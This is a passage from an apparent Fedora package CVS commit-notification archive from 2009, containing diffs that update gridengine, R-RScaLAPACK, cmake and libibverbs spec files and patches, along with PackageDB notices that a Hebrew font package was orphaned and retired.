          $INFOTEXT "Starting sge_shadowd on host %s\n" $SHADOW_HOST
 	      $INFOTEXT -log "Starting sge_shadowd on host %s\n" $SHADOW_HOST
 	      if [ "$SGE_ENABLE_SMF" = "true" ]; then
@@ -1645,20 +1638,7 @@
 
    COMMONDIR=$SGE_CELL/common
 
-   CreateSGEStartUpScripts 0 true master
-   CreateSGEStartUpScripts 0 true execd
-   
-   $INFOTEXT "\nYour new startup scripts are created. You will find them in the\n" \
-             "directory:\n\n" \
-             "   %s\n\n" \
-             "Your old startup scripts are saved in this directory as\n\n" \
-             "   %s\n" \
-             "   %s\n\n" \
-             \$SGE_ROOT/$COMMONDIR sgemaster_$DATE sgeexecd_$DATE
-   
-   $INFOTEXT "Please now copy the new startup scripts to the system wide rc\n" \
-             "file location on all qmaster, shadowd and execution hosts."
-   
+   SetupDefaultUser 0
 fi
 
 exit 0
--- gridengine/source/dist/util/create_settings.sh.rctemplates	2008-02-08 04:57:29.000000000 -0700
+++ gridengine/source/dist/util/create_settings.sh	2009-10-27 12:32:09.607782156 -0600
@@ -67,8 +67,6 @@
 echo "setenv SGE_ROOT $SGE_ROOT"                         >  $SP_CSH
 echo ""                                                  >> $SP_CSH
 echo "set ARCH = \`\$SGE_ROOT/util/arch\`"               >> $SP_CSH
-echo "set DEFAULTMANPATH = \`\$SGE_ROOT/util/arch -m\`"  >> $SP_CSH
-echo "set MANTYPE = \`\$SGE_ROOT/util/arch -mt\`"        >> $SP_CSH
 echo ""                                                  >> $SP_CSH
 
 #if [ "$SGE_CELL" != "" -a "$SGE_CELL" != "default" ]; then
@@ -93,31 +91,9 @@
 
 
 echo ""                                                          >> $SP_CSH
-echo '# library path setting required only for architectures where RUNPATH is not supported' >> $SP_CSH
-echo 'if ( $?MANPATH == 1 ) then'                                >> $SP_CSH
-echo "   setenv MANPATH \$SGE_ROOT/"'${MANTYPE}':'$MANPATH'      >> $SP_CSH
-echo "else"                                                      >> $SP_CSH
-echo "   setenv MANPATH \$SGE_ROOT/"'${MANTYPE}:$DEFAULTMANPATH' >> $SP_CSH
-echo "endif"                                                     >> $SP_CSH
-echo ""                                                          >> $SP_CSH
 echo "set path = ( \$SGE_ROOT/bin/"'$ARCH $path )'               >> $SP_CSH
 
-echo 'switch ($ARCH)'                                            >> $SP_CSH
-#ENFORCE_SHLIBPATH#echo 'case "sol*":'                           >> $SP_CSH
-#ENFORCE_SHLIBPATH#echo 'case "lx*":'                            >> $SP_CSH
-#ENFORCE_SHLIBPATH#echo 'case "hp11-64":'                        >> $SP_CSH
-#ENFORCE_SHLIBPATH#echo '   breaksw'                             >> $SP_CSH
-echo 'case "*":'                                                 >> $SP_CSH
-echo "   set shlib_path_name = \`\$SGE_ROOT/util/arch -lib\`"       >> $SP_CSH
-echo "   if ( \`eval echo '\$?'\$shlib_path_name\` ) then"          >> $SP_CSH
-echo "      set old_value = \`eval echo '\$'\$shlib_path_name\`"    >> $SP_CSH
-echo "      setenv \$shlib_path_name \"\$SGE_ROOT/lib/\$ARCH\":\"\$old_value\""   >> $SP_CSH
-echo "   else"                                                      >> $SP_CSH
-echo "      setenv \$shlib_path_name \$SGE_ROOT/lib/\$ARCH"         >> $SP_CSH
-echo "   endif"                                                     >> $SP_CSH
-echo "   unset shlib_path_name  old_value"                          >> $SP_CSH
-echo "endsw"                                                        >> $SP_CSH
-echo "unset ARCH DEFAULTMANPATH MANTYPE"                            >> $SP_CSH
+echo "unset ARCH"                                                   >> $SP_CSH
 
 #
 # bourne shell settings file
@@ -126,8 +102,6 @@
 echo "SGE_ROOT=$SGE_ROOT; export SGE_ROOT"                        > $SP_SH
 echo ""                                                          >> $SP_SH
 echo "ARCH=\`\$SGE_ROOT/util/arch\`"                             >> $SP_SH
-echo "DEFAULTMANPATH=\`\$SGE_ROOT/util/arch -m\`"                >> $SP_SH
-echo "MANTYPE=\`\$SGE_ROOT/util/arch -mt\`"                      >> $SP_SH
 echo ""                                                          >> $SP_SH
 
 if [ "$SGE_CELL" != "" ]; then
@@ -151,28 +125,7 @@
 
 
 echo ""                                                          >> $SP_SH
-echo "if [ \"\$MANPATH\" = \"\" ]; then"                         >> $SP_SH
-echo "   MANPATH=\$DEFAULTMANPATH"                               >> $SP_SH
-echo "fi"                                                        >> $SP_SH
-echo "MANPATH=\$SGE_ROOT/\$MANTYPE:\$MANPATH; export MANPATH"    >> $SP_SH
-echo ""                                                          >> $SP_SH
 echo "PATH=\$SGE_ROOT/bin/\$ARCH:\$PATH; export PATH"            >> $SP_SH
 
-echo '# library path setting required only for architectures where RUNPATH is not supported' >> $SP_SH
-echo 'case $ARCH in'                                                >> $SP_SH
-#ENFORCE_SHLIBPATH#echo 'sol*|lx*|hp11-64)'                         >> $SP_SH
-#ENFORCE_SHLIBPATH#echo '   ;;'                                     >> $SP_SH
-echo '*)'                                                           >> $SP_SH
-echo "   shlib_path_name=\`\$SGE_ROOT/util/arch -lib\`"             >> $SP_SH
-echo "   old_value=\`eval echo '\$'\$shlib_path_name\`"             >> $SP_SH
-echo "   if [ x\$old_value = "x" ]; then"                           >> $SP_SH
-echo "      eval \$shlib_path_name=\$SGE_ROOT/lib/\$ARCH"           >> $SP_SH
-echo "   else"                                                      >> $SP_SH
-echo "      eval \$shlib_path_name=\$SGE_ROOT/lib/\$ARCH:\$old_value" >> $SP_SH
-echo "   fi"                                                        >> $SP_SH
-echo "   export \$shlib_path_name"                                  >> $SP_SH
-echo '   unset shlib_path_name old_value'                           >> $SP_SH
-echo '   ;;'                                                        >> $SP_SH
-echo 'esac'                                                         >> $SP_SH
-echo "unset ARCH DEFAULTMANPATH MANTYPE"                            >> $SP_SH
+echo "unset ARCH"                                                   >> $SP_SH
 
--- gridengine/source/dist/util/install_modules/inst_common.sh.rctemplates	2009-10-27 12:32:09.600783190 -0600
+++ gridengine/source/dist/util/install_modules/inst_common.sh	2009-10-27 12:32:09.610782669 -0600
@@ -2329,14 +2329,6 @@
 
       rm -f $TMP_SGE_STARTUP_FILE ${TMP_SGE_STARTUP_FILE}.0 ${TMP_SGE_STARTUP_FILE}.1
 
-      if [ $euid = 0 -a "$ADMINUSER" != default -a $QMASTER = "install" -a $hosttype = "master" ]; then
-         AddDefaultManager root $ADMINUSER
-         AddDefaultOperator $ADMINUSER
-      elif [ $euid != 0 -a $hosttype = "master" ]; then
-         AddDefaultManager $USER
-         AddDefaultOperator $USER
-      fi
-
       $INFOTEXT "Creating >%s< script" $STARTUP_FILE_NAME 
    fi
 
@@ -2344,6 +2336,22 @@
 
 
 #-------------------------------------------------------------------------
+# SetupDefaultUsers: Add the default manager and operator
+#
+SetupDefaultUsers() {
+   euid=$1
+
+   if [ $euid = 0 -a "$ADMINUSER" != default -a $QMASTER = "install" ]; then
+      AddDefaultManager root $ADMINUSER
+      AddDefaultOperator $ADMINUSER
+   elif [ $euid != 0 ]; then
+      AddDefaultManager $USER
+      AddDefaultOperator $USER
+   fi
+}
+
+
+#-------------------------------------------------------------------------
 # AddSGEStartUpScript: Add startup script to rc files if root installs
 #
 AddSGEStartUpScript()
--- gridengine/source/dist/util/install_modules/inst_execd.sh.rctemplates	2009-10-27 12:32:09.550780493 -0600
+++ gridengine/source/dist/util/install_modules/inst_execd.sh	2009-10-27 12:32:09.611782167 -0600
@@ -457,7 +457,7 @@
          exit 1
       fi
    else
-      $SGE_STARTUP_FILE
+      /sbin/service sge_execd start
    fi
    $INFOTEXT -wait -auto $AUTO -n "\nHit <RETURN> to continue >> "
    $CLEAR
--- gridengine/source/dist/util/install_modules/inst_qmaster.sh.rctemplates	2009-10-27 12:32:09.584778542 -0600
+++ gridengine/source/dist/util/install_modules/inst_qmaster.sh	2009-10-27 12:35:19.059780838 -0600
@@ -208,8 +208,8 @@
                    "the qmaster daemon on other hosts (see the corresponding section in the\n" \
                    "Grid Engine Installation and Administration Manual for details) the account\n" \
                    "on the shadow master hosts also needs read/write access to this directory.\n\n" \
-                   "Enter a qmaster spool directory [%s] >> " "$SGE_ROOT_VAL/$SGE_CELL_VAL/spool/qmaster"
-      QMDIR=`Enter "$SGE_ROOT_VAL/$SGE_CELL_VAL/spool/qmaster"`
+                   "Enter a qmaster spool directory [%s] >> " "/var/spool/gridengine/$SGE_CELL_VAL/spool/qmaster"
+      QMDIR=`Enter "/var/spool/gridengine/$SGE_CELL_VAL/spool/qmaster"`
       done=true
       #If directory is not empty need now require a new one
       if [ -d "$QMDIR" ]; then
@@ -733,6 +733,9 @@
    ExecuteAsAdmin chmod 666 $COMMONDIR/bootstrap
    PrintBootstrap >> $COMMONDIR/bootstrap
    ExecuteAsAdmin chmod 444 $COMMONDIR/bootstrap
+   rm -f /etc/sysconfig/gridengine
+   echo "SGE_ROOT=/usr/share/gridengine" >> /etc/sysconfig/gridengine
+   echo "SGE_CELL=$SGE_CELL" >> /etc/sysconfig/gridengine
 }
 
 #-------------------------------------------------------------------------
@@ -949,7 +952,7 @@
       fi
       
       if [ -z "$1" ]; then
-         default_value=$SGE_ROOT_VAL/$SGE_CELL_VAL/spool
+         default_value=/var/spool/gridengine/$SGE_CELL_VAL
       else
          default_value="$1"
       fi
@@ -1193,6 +1196,7 @@
          touch /tmp/pwfile.$$
          chmod 600 /tmp/pwfile.$$
          echo "$SGE_JMX_SSL_KEYSTORE_PW" > /tmp/pwfile.$$
+         ExecuteAsAdmin mkdir -p `dirname $SGE_JMX_SSL_KEYSTORE`
          OUTPUT=`$SGE_CA_CMD -sysks -ksout $SGE_JMX_SSL_KEYSTORE -kspwf /tmp/pwfile.$$ 2>&1`
          if [ $? != 0 ]; then
             $INFOTEXT "Error: Cannot create keystore $SGE_JMX_SSL_KEYSTORE\n$OUTPUT"
@@ -1262,7 +1266,7 @@
          exit 1
       fi
    else
-      $SGE_STARTUP_FILE -qmaster
+      /sbin/service sgemaster start
       if [ $? -ne 0 ]; then
          $INFOTEXT -log "sge_qmaster start problem"
          MoveLog
--- gridengine/source/scripts/distinst.rctemplates	2009-04-22 09:02:50.000000000 -0600
+++ gridengine/source/scripts/distinst	2009-10-27 12:32:09.616841954 -0600
@@ -816,15 +816,9 @@
       Execute cp libs/jgdi/util/logging.properties.template $DEST_SGE_ROOT/util
       if [ $enforce_shlibpath = true ]; then
          Execute grep -v "#ENFORCE_SHLIBPATH#" dist/util/create_settings.sh > $DEST_SGE_ROOT/util/create_settings.sh
-         Execute grep -v "#ENFORCE_SHLIBPATH#" dist/util/rctemplates/sgemaster_template > $DEST_SGE_ROOT/util/rctemplates/sgemaster_template
-         Execute grep -v "#ENFORCE_SHLIBPATH#" dist/util/rctemplates/sgeexecd_template > $DEST_SGE_ROOT/util/rctemplates/sgeexecd_template
-         Execute grep -v "#ENFORCE_SHLIBPATH#" dist/util/rctemplates/sgebdb_template > $DEST_SGE_ROOT/util/rctemplates/sgebdb_template
          Execute grep -v "#ENFORCE_SHLIBPATH#" dist/util/install_modules/inst_common.sh > $DEST_SGE_ROOT/util/install_modules/inst_common.sh
       else
          Execute sed -e "s/#ENFORCE_SHLIBPATH#//" dist/util/create_settings.sh > $DEST_SGE_ROOT/util/create_settings.sh
-         Execute sed -e "s/#ENFORCE_SHLIBPATH#//" dist/util/rctemplates/sgemaster_template > $DEST_SGE_ROOT/util/rctemplates/sgemaster_template
-         Execute sed -e "s/#ENFORCE_SHLIBPATH#//" dist/util/rctemplates/sgeexecd_template > $DEST_SGE_ROOT/util/rctemplates/sgeexecd_template
-         Execute sed -e "s/#ENFORCE_SHLIBPATH#//" dist/util/rctemplates/sgebdb_template > $DEST_SGE_ROOT/util/rctemplates/sgebdb_template
          Execute sed -e "s/#ENFORCE_SHLIBPATH#//" dist/util/install_modules/inst_common.sh > $DEST_SGE_ROOT/util/install_modules/inst_common.sh
       fi
       # DetectJvmLibrary
@@ -843,7 +837,6 @@
 
       Execute chmod 755 $DEST_SGE_ROOT/util/install_modules \
 			$DEST_SGE_ROOT/util/upgrade_modules \
-                        $DEST_SGE_ROOT/util/rctemplates \
                         $DEST_SGE_ROOT/util/resources \
                         $DEST_SGE_ROOT/util/sgeCA \
                         $DEST_SGE_ROOT/util/resources/calendars \
@@ -868,7 +861,6 @@
                         $DEST_SGE_ROOT/util/resources/starter_methods/*
 
       Execute chmod 644 $DEST_SGE_ROOT/util/install_modules/* \
-                        $DEST_SGE_ROOT/util/rctemplates/* \
                         $DEST_SGE_ROOT/util/sgeCA/*.cnf \
                         $DEST_SGE_ROOT/util/sgeSMF/*.xml \
                         $DEST_SGE_ROOT/util/sgeSMF/sge_smf_support.sh \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gridengine/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 Jul 2009 20:47:04 -0000	1.7
+++ .cvsignore	29 Oct 2009 21:45:48 -0000	1.8
@@ -1,3 +1 @@
-ge-V62u2_1_TAG-src.tar.gz
-ge-V623_TAG-src-all_modules.tar.gz
-ge-V62u3_TAG-src.tar.gz
+ge-V62u4_TAG-src.tar.gz


Index: gridengine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gridengine/devel/gridengine.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- gridengine.spec	25 Aug 2009 15:11:03 -0000	1.21
+++ gridengine.spec	29 Oct 2009 21:45:48 -0000	1.22
@@ -5,8 +5,8 @@
 %define gecos Grid Engine
 
 Name:    gridengine
-Version: 6.2u3
-Release: 3%{?dist}
+Version: 6.2u4
+Release: 1%{?dist}
 Summary: Grid Engine - Distributed Computing Management software
 
 Group:   Applications/System
@@ -18,8 +18,7 @@ Group:   Applications/System
 # which is not used or linked by other parts of gridengine.
 License: (BSD and LGPLv2+ and MIT and SISSL) and GPLv2+ and BSD with advertising
 URL:     http://gridengine.sunsource.net/
-#Source0 is in Source12
-Source0: ge-V62u3_TAG-src.tar.gz
+Source0: http://gridengine.sunsource.net/files/documents/7/212/ge-V62u4_TAG-src.tar.gz
 Source1: gridengine-ppc.tar.gz
 Source2: my_configuration.conf
 Source3: sge.csh
@@ -31,8 +30,6 @@ Source8: Licenses
 Source9: gridengine.sysconfig
 Source10: http://gridengine.sunsource.net/nonav/issues/showattachment.cgi/165/libcore.c
 Source11: README
-# This time, they packaged everything into this bundle
-Source12: http://gridengine.sunsource.net/files/documents/7/203/ge-V623_TAG-src-all_modules.tar.gz
 # Link ssl libraries dynamically so dependencies are pulled in
 # http://gridengine.sunsource.net/issues/show_bug.cgi?id=2845
 Patch1: gridengine-6.2beta-ssl.patch
@@ -40,7 +37,7 @@ Patch1: gridengine-6.2beta-ssl.patch
 Patch2: gridengine-6.2beta-inst.patch
 # Don't need to make rc files in inst_common.sh
 # Partially http://gridengine.sunsource.net/issues/show_bug.cgi?id=2780
-Patch3: gridengine-6.2u3-rctemplates.patch
+Patch3: gridengine-6.2u4-rctemplates.patch
 # Fixup sge_ca to use system openssl and java paths
 Patch4: gridengine-6.2u2_1-sge_ca.patch
 # Fixup jni paths
@@ -50,9 +47,9 @@ Patch6: gridengine-6.2-db.patch
 # aimk sets -Werror, but there are lots of warnings
 # http://gridengine.sunsource.net/issues/show_bug.cgi?id=2112
 Patch7: gridengine-6.2u2_1-Werror.patch
-# Import specific classes to avoid pulling in other ones
-# http://gridengine.sunsource.net/issues/show_bug.cgi?id=2924
-Patch8: gridengine-6.2-import.patch
+# Need to patch -Dant.library.dir=/usr/share/ant/lib to ant processes
+# http://gridengine.sunsource.net/issues/show_bug.cgi?id=3171
+Patch8: gridengine-6.2u4-ant.patch
 # Rename getline() to sge_getline()
 # http://gridengine.sunsource.net/issues/show_bug.cgi?id=2980
 Patch9: gridengine-6.2u2_1-getline.patch
@@ -60,7 +57,7 @@ Patch9: gridengine-6.2u2_1-getline.patch
 Patch15: gridengine-6.2beta2-lesstif.patch
 # Make inst_sge exit with status 1 if usage is incorrect
 # http://gridengine.sunsource.net/issues/show_bug.cgi?id=2586
-Patch19: gridengine-6.1u2-auto.patch
+Patch19: gridengine-6.2u4-auto.patch
 # Don't use rpaths
 Patch22: gridengine-6.2u2_1-rpath.patch
 # Fix linking with proper libs
@@ -174,7 +171,7 @@ sed -i -e '/^#! *\/bin\/sh/d' source/dis
 %patch5 -p1 -b .jni
 %patch6 -p1 -b .db
 %patch7 -p1 -b .Werror
-%patch8 -p1 -b .import
+%patch8 -p1 -b .ant
 %patch9 -p1 -b .getline
 %if !0%{?rhel}
 %patch15 -p1 -b .lesstif
@@ -543,6 +540,12 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 - Orion Poplawski <orion at cora.nwra.com> - 6.2u4-1
+- Update to 6.2u4
+- Drop import patch fixed upstream
+- Updated rctemplates and auto patches
+- Add patch to call ant with appropriate library directory
+
 * Tue Aug 25 2009 Tomas Mraz <tmraz at redhat.com> - 6.2u3-3
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gridengine/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	17 Jul 2009 21:26:01 -0000	1.9
+++ sources	29 Oct 2009 21:45:48 -0000	1.10
@@ -1,3 +1 @@
-5ba34d534cdeda9afe74cd367cb51ce0  gridengine-ppc.tar.gz
-1020a8b4849a6edcfbadc723749690c8  ge-V623_TAG-src-all_modules.tar.gz
-02dbf91f91e25dcba5431c29194b5afd  ge-V62u3_TAG-src.tar.gz
+a943d1dd5c8788b63995a2304a5f860e  ge-V62u4_TAG-src.tar.gz


--- gridengine-6.1u2-auto.patch DELETED ---


--- gridengine-6.2-import.patch DELETED ---


--- gridengine-6.2u3-rctemplates.patch DELETED ---



From orion at fedoraproject.org  Thu Oct 29 21:46:39 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 21:46:39 +0000 (UTC)
Subject: rpms/R-RScaLAPACK/EL-5 R-RScaLAPACK.spec,1.21,1.22
Message-ID: <20091029214639.8916711C02BC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/R-RScaLAPACK/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3980

Modified Files:
	R-RScaLAPACK.spec 
Log Message:
Update lam locations



Index: R-RScaLAPACK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-RScaLAPACK/EL-5/R-RScaLAPACK.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- R-RScaLAPACK.spec	29 Oct 2009 20:28:58 -0000	1.21
+++ R-RScaLAPACK.spec	29 Oct 2009 21:46:39 -0000	1.22
@@ -53,7 +53,8 @@ cp %{packname}/DESCRIPTION .
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL --configure-args="CFLAGS='$RPM_OPT_FLAGS -I%{_includedir}/lam/ -I%{_includedir}/lam/%{bitsize} -L%{lamdir} -lutil -lmpiblacsCinit -lmpiblacs -llam -llamf77mpi -lmpi -llapack' FFLAGS='$RPM_OPT_FLAGS -I%{_includedir}/lam/ -I%{_includedir}/lam/%{bitsize} -L%{lamdir} -lutil -llapack'" -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+export LD_LIBRARY_PATH=%{lamdir}/lib
+%{_bindir}/R CMD INSTALL --configure-args="CFLAGS='$RPM_OPT_FLAGS -I%{lamdir}/include -L%{lamdir}/lib -lutil -lmpiblacsCinit -lmpiblacs -llam -llamf77mpi -lmpi -llapack' FFLAGS='$RPM_OPT_FLAGS -I%{lamdir}/include -L%{lamdir}/lib -lutil -llapack'" -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
 # %{_bindir}/R CMD check %{packname}
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
 rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
@@ -75,6 +76,7 @@ rm -rf $RPM_BUILD_ROOT
 %changelog
 * Thu Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> 0.5.1-10
 - Update spec and rebuild with new R
+- Update lam locations
 
 * Fri Mar 30 2007 Tom "spot" Callaway <tcallawa at redhat.com> 0.5.1-9
 - include bitsize specific lam include directory



From orion at fedoraproject.org  Thu Oct 29 21:46:11 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 21:46:11 +0000 (UTC)
Subject: rpms/cmake/devel .cvsignore, 1.31, 1.32 cmake.spec, 1.64,
	1.65 sources, 1.31, 1.32
Message-ID: <20091029214611.83B4D11C02BC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/cmake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3676

Modified Files:
	.cvsignore cmake.spec sources 
Log Message:
* Tue Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc4
- Update to 2.8.0 RC 4
- Add FindJNI patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/.cvsignore,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- .cvsignore	13 Oct 2009 22:17:42 -0000	1.31
+++ .cvsignore	29 Oct 2009 21:46:11 -0000	1.32
@@ -1 +1 @@
-cmake-2.8.0-rc3.tar.gz
+cmake-2.8.0-rc4.tar.gz


Index: cmake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/cmake.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- cmake.spec	13 Oct 2009 22:17:43 -0000	1.64
+++ cmake.spec	29 Oct 2009 21:46:11 -0000	1.65
@@ -4,11 +4,11 @@
 # Set to bcond_with or use --without gui to disable qt4 gui build
 %bcond_without gui
 # Set to RC version if building RC, else %{nil}
-%define rcver -rc3
+%define rcver -rc4
 
 Name:           cmake
 Version:        2.8.0
-Release:        0.4.rc3%{?dist}
+Release:        0.5.rc4%{?dist}
 Summary:        Cross-platform make system
 
 Group:          Development/Tools
@@ -16,6 +16,7 @@ License:        BSD
 URL:            http://www.cmake.org
 Source0:        http://www.cmake.org/files/v2.8/cmake-%{version}%{?rcver}.tar.gz
 Source2:        macros.cmake
+Patch0:         jni_include_path.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  ncurses-devel, libX11-devel
@@ -50,6 +51,7 @@ The %{name}-gui package contains the Qt 
 
 %prep
 %setup -q -n %{name}-%{version}%{?rcver}
+%patch0 -p0
 # Fixup permissions
 find -name \*.h -o -name \*.cxx -print0 | xargs -0 chmod -x
 
@@ -133,6 +135,10 @@ update-mime-database %{_datadir}/mime &>
 
 
 %changelog
+* Tue Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc4
+- Update to 2.8.0 RC 4
+- Add FindJNI patch
+
 * Tue Oct 13 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc3
 - Update to 2.8.0 RC 3
 - Drop vtk64 patch fixed upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	13 Oct 2009 22:17:43 -0000	1.31
+++ sources	29 Oct 2009 21:46:11 -0000	1.32
@@ -1 +1 @@
-7cc121a0199affa0697e11fbeefd00c3  cmake-2.8.0-rc3.tar.gz
+b7c1bc4d1c8ff5b23a228bbd1e0c5739  cmake-2.8.0-rc4.tar.gz



From dreier at fedoraproject.org  Thu Oct 29 21:49:12 2009
From: dreier at fedoraproject.org (Roland Dreier)
Date: Thu, 29 Oct 2009 21:49:12 +0000 (UTC)
Subject: rpms/libibverbs/devel import.log, NONE, 1.1 .cvsignore, 1.12,
	1.13 libibverbs.spec, 1.16, 1.17 sources, 1.12, 1.13
Message-ID: <20091029214912.55A0911C02BC@cvs1.fedora.phx.redhat.com>

Author: dreier

Update of /cvs/extras/rpms/libibverbs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4712/devel

Modified Files:
	.cvsignore libibverbs.spec sources 
Added Files:
	import.log 
Log Message:
Import libibverbs 1.1.3 release.



--- NEW FILE import.log ---
libibverbs-1_1_3-1_fc12:HEAD:libibverbs-1.1.3-1.fc12.src.rpm:1256852922


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libibverbs/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	18 Apr 2008 22:51:04 -0000	1.12
+++ .cvsignore	29 Oct 2009 21:49:11 -0000	1.13
@@ -1 +1 @@
-libibverbs-1.1.2.tar.gz
+libibverbs-1.1.3.tar.gz


Index: libibverbs.spec
===================================================================
RCS file: /cvs/extras/rpms/libibverbs/devel/libibverbs.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- libibverbs.spec	25 Jul 2009 05:55:32 -0000	1.16
+++ libibverbs.spec	29 Oct 2009 21:49:12 -0000	1.17
@@ -1,12 +1,12 @@
 Name: libibverbs
-Version: 1.1.2
-Release: 3%{?dist}
+Version: 1.1.3
+Release: 1%{?dist}
 Summary: A library for direct userspace use of RDMA (InfiniBand/iWARP) hardware
 
 Group: System Environment/Libraries
 License: GPLv2 or BSD
 Url: http://openfabrics.org/
-Source: http://openfabrics.org/downloads/verbs/libibverbs-1.1.2.tar.gz
+Source: http://openfabrics.org/downloads/verbs/libibverbs-1.1.3.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Requires(post): /sbin/ldconfig
 Requires(postun): /sbin/ldconfig
@@ -46,7 +46,7 @@ Useful libibverbs1 example programs such
 displays information about RDMA devices.
 
 %prep
-%setup -q -n %{name}-1.1.2
+%setup -q -n %{name}-1.1.3
 
 %build
 %configure
@@ -85,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Thu Oct 29 2009 Roland Dreier <rdreier at cisco.com> - 1.1.3-1
+- New upstream release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libibverbs/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	18 Apr 2008 22:51:04 -0000	1.12
+++ sources	29 Oct 2009 21:49:12 -0000	1.13
@@ -1 +1 @@
-6ad270dacf26211616cbfc9fa733d112  libibverbs-1.1.2.tar.gz
+ba1cec73e7dce72f5c8c09822147d9c3  libibverbs-1.1.3.tar.gz



From pkgdb at fedoraproject.org  Thu Oct 29 21:53:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 21:53:13 +0000
Subject: [pkgdb] fonts-hebrew-fancy ownership updated
Message-ID: <20091029215314.1D44C10F87F@bastion2.fedora.phx.redhat.com>

Package fonts-hebrew-fancy in Fedora devel was orphaned by danken

To make changes to this package see:
  /pkgdb/packages/name/fonts-hebrew-fancy



From pkgdb at fedoraproject.org  Thu Oct 29 21:53:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 21:53:14 +0000
Subject: [pkgdb] fonts-hebrew-fancy (un)retirement
Message-ID: <20091029215314.3E18110F899@bastion2.fedora.phx.redhat.com>

Package fonts-hebrew-fancy in Fedora devel has been retired by danken

To make changes to this package see:
  /pkgdb/packages/name/fonts-hebrew-fancy



From dreier at fedoraproject.org  Thu Oct 29 21:55:25 2009
From: dreier at fedoraproject.org (Roland Dreier)
Date: Thu, 29 Oct 2009 21:55:25 +0000 (UTC)
Subject: rpms/libibverbs/F-12 import.log, NONE, 1.1 .cvsignore, 1.12,
	1.13 libibverbs.spec, 1.16, 1.17 sources, 1.12, 1.13
Message-ID: <20091029215525.B6DF511C02BC@cvs1.fedora.phx.redhat.com>

Author: dreier

Update of /cvs/extras/rpms/libibverbs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6312/F-12

Modified Files:
	.cvsignore libibverbs.spec sources 
Added Files:
	import.log 
Log Message:
Import libibverbs 1.1.3 release.



--- NEW FILE import.log ---
libibverbs-1_1_3-1_fc12:F-12:libibverbs-1.1.3-1.fc12.src.rpm:1256853307


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libibverbs/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	18 Apr 2008 22:51:04 -0000	1.12
+++ .cvsignore	29 Oct 2009 21:55:25 -0000	1.13
@@ -1 +1 @@
-libibverbs-1.1.2.tar.gz
+libibverbs-1.1.3.tar.gz


Index: libibverbs.spec
===================================================================
RCS file: /cvs/extras/rpms/libibverbs/F-12/libibverbs.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- libibverbs.spec	25 Jul 2009 05:55:32 -0000	1.16
+++ libibverbs.spec	29 Oct 2009 21:55:25 -0000	1.17
@@ -1,12 +1,12 @@
 Name: libibverbs
-Version: 1.1.2
-Release: 3%{?dist}
+Version: 1.1.3
+Release: 1%{?dist}
 Summary: A library for direct userspace use of RDMA (InfiniBand/iWARP) hardware
 
 Group: System Environment/Libraries
 License: GPLv2 or BSD
 Url: http://openfabrics.org/
-Source: http://openfabrics.org/downloads/verbs/libibverbs-1.1.2.tar.gz
